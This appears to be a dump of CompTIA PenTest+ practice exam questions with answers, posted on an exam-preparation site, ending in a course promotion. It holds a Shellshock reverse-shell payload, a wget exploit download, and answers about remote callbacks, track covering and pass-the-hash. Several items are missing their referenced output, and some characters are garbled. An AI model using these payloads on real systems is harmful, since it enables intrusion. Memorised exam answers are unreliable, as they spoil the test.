Yes, it is highly practical with many PBQs. \

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

Correct Answer: chmod u+x script.sh

A penetration tester gains access to a system and establishes persistence, and then run the following commands: Which of the following actions is the tester MOST likely performing?

Correct Answer: Covering tracks by clearing the Bash history

A compliance-based penetration test is primarily concerned with:

Correct Answer: determining the efficacy of a specific set of security standards.

A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe as a benefit of the framework?

Correct Answer: Understanding the tactics of a security intrusion can help disrupt them.

A penetration tester discovered a vulnerability that provides the ability to upload to a path via discovery traversal. Some of the files that were discovered through this vulnerability are: Which of the following is the BEST method to help an attacker gain internal access to the affected machine?

Correct Answer: Edit the discovered file with one line of code for remote callback.

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data. Which of the following should the tester verify FIRST to assess this risk?

Correct Answer: Whether sensitive client data is publicly accessible

A penetration tester ran the following command on a staging server: python -m SimpleHTTPServer 9891 Which of the following commands could be used to download a file named exploit to a target machine for execution?

Correct Answer: wget 10.10.51.50:9891/exploit

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized: Which of the following commands should the penetration tester run post-engagement?

Correct Answer: rm -rf /tmp/apache

Which of the following is MOST important to include in the final report of a static application-security test that was written with a team of application developers as the intended audience?

Correct Answer: Code context for instances of unsafe typecasting operations

Which of the following is the MOST common vulnerability associated with IoT devices that are directly connected to the Internet?

Correct Answer: The existence of default passwords

Which of the following describes the reason why a penetration tester would run the command sdelete mimikatz. * on a Windows server that the tester compromised?

Correct Answer: To remove tools from the server

A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?

Correct Answer: nmap 192.168.1.1-5 -PS22-25,80

A penetration tester was brute forcing an internal web server and ran a command that produced the following output: However, when the penetration tester tried to browse the URL http://172.16.100.10:3000/profile, a blank page was displayed. Which of the following is the MOST likely reason for the lack of output?

Correct Answer: This URI returned a server error.

A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following MOST likely describes what happened?

Correct Answer: The planning process failed to ensure all teams were notified.

An Nmap scan shows open ports on web servers and databases. A penetration tester decides to run WPScan and SQLmap to identify vulnerabilities and additional information about those systems. Which of the following is the penetration tester trying to accomplish?

Correct Answer: Limit invasiveness based on scope.

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

Correct Answer: Run nmap with the --script vulners option set against the target.

A penetration tester completed a vulnerability scan against a web server and identified a single but severe vulnerability. Which of the following is the BEST way to ensure this is a true positive?

Correct Answer: Perform a manual test on the server.

A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the HIGHEST likelihood of success?

Correct Answer: Performing spear phishing against employees by posing as senior management

A penetration tester writes the following script: Which of the following objectives is the tester attempting to achieve?

Correct Answer: Determine active hosts on the network.

A penetration tester ran the following commands on a Windows server: Which of the following should the tester do AFTER delivering the final report?

Correct Answer: Remove the tester-created credentials.

A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test. Which of the following describes the scope of the assessment?

Correct Answer: Unknown environment testing

A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

Correct Answer: Testing restrictions

A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings. Which of the following is most important for the penetration tester to define FIRST?

Correct Answer: Establish the threshold of risk to escalate to the client immediately.

A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?

Correct Answer: iam_enum_permissions

A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

Correct Answer: Deconflict with the penetration tester.

A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team?

Correct Answer: User hashes sent over SMB

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

Correct Answer: Reach out to the primary point of contact.

A penetration tester ran an Nmap scan on an Internet-facing network device with the -F option and found a few open ports. To further enumerate, the tester ran another scan using the following command: nmap -O -A -sS -p- 100.100.100.50 Nmap returned that all 65,535 ports were filtered Which of the following MOST likely occurred on the second scan?

Correct Answer: A firewall or IPS blocked the scan.

A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to: ✑ Have a full TCP connection ✑ Send a `hello` payload ✑ Wait for a response ✑ Send a string of characters longer than 16 bytes Which of the following approaches would BEST support the objective?

Correct Answer: Create a script in the Lua language and use it with NSE.

Performing a penetration test against an environment with SCADA devices brings an additional safety risk because the:

Correct Answer: devices may cause physical world effects.

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible. Which of the following Nmap scan syntaxes would BEST accomplish this objective?

Correct Answer: nmap -sS -O 192.168.1.2/24 -T1

A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier. Which of the following is the BEST action for the penetration tester to take?

Correct Answer: Stop the assessment and inform the emergency contact.

A security company has been contracted to perform a scoped insider-threat assessment to try to gain access to the human resources server that houses PII and salary data. The penetration testers have been given an internal network starting position. Which of the following actions, if performed, would be ethical within the scope of the assessment?

Correct Answer: Exploiting a configuration weakness in the SQL database

A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server. Which of the following can be done with the pcap to gain access to the server?

Correct Answer: Utilize a pass-the-hash attack.

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: . Which of the following would be the best action for the tester to take NEXT with this information?

Correct Answer: Document the unprotected file repository as a finding in the penetration-testing report.

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploit = {`User-Agent`: `() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/html,application/ xhtml+xml,application/xml`} Which of the following edits should the tester make to the script to determine the user context in which the server is being run?

Correct Answer: exploit = {ג€User-Agentג€: ג€() { ignored;};/bin/bash -i id;whoamiג€, ג€Acceptג€: ג€text/html,application/xhtml +xml,application/xmlג€}

Welcome to awslagi.com – Sharing AWS, Google Cloud, Microsoft Azure IT Exams. It's free for all!

CompTIA PenTest+ Certification Exam

Master the technical skills to identify and exploit vulnerabilities to secure networks.

4.8★★★★★(399 ratings)

16,047 studentsIntermediate

Learn the latest penetration testing and vulnerability management skills used by cybersecurity professionals. This course covers everything from reconnaissance to reporting and post-exploitation. Gain the specialized skills needed to perform ethical hacking and secure complex infrastructures. Validate your ability to think like an attacker to build stronger defenses.

What you'll learn

Planning & Scoping
- Information Gathering
- Vulnerability Scanning
- Attacks & Exploits
- Reporting & Communication

PT0-002

Lectures4

Quizzes0

Duration30 week

Students16,047

$20.00

📢 Unlock Full Access to Success!

"The content displayed here is a promotional preview and contains only 50% of the actual exam database. To access the complete set of updated questions, please upgrade to the Full Version."

👉 Click the button and follow the instructions to secure your full access immediately!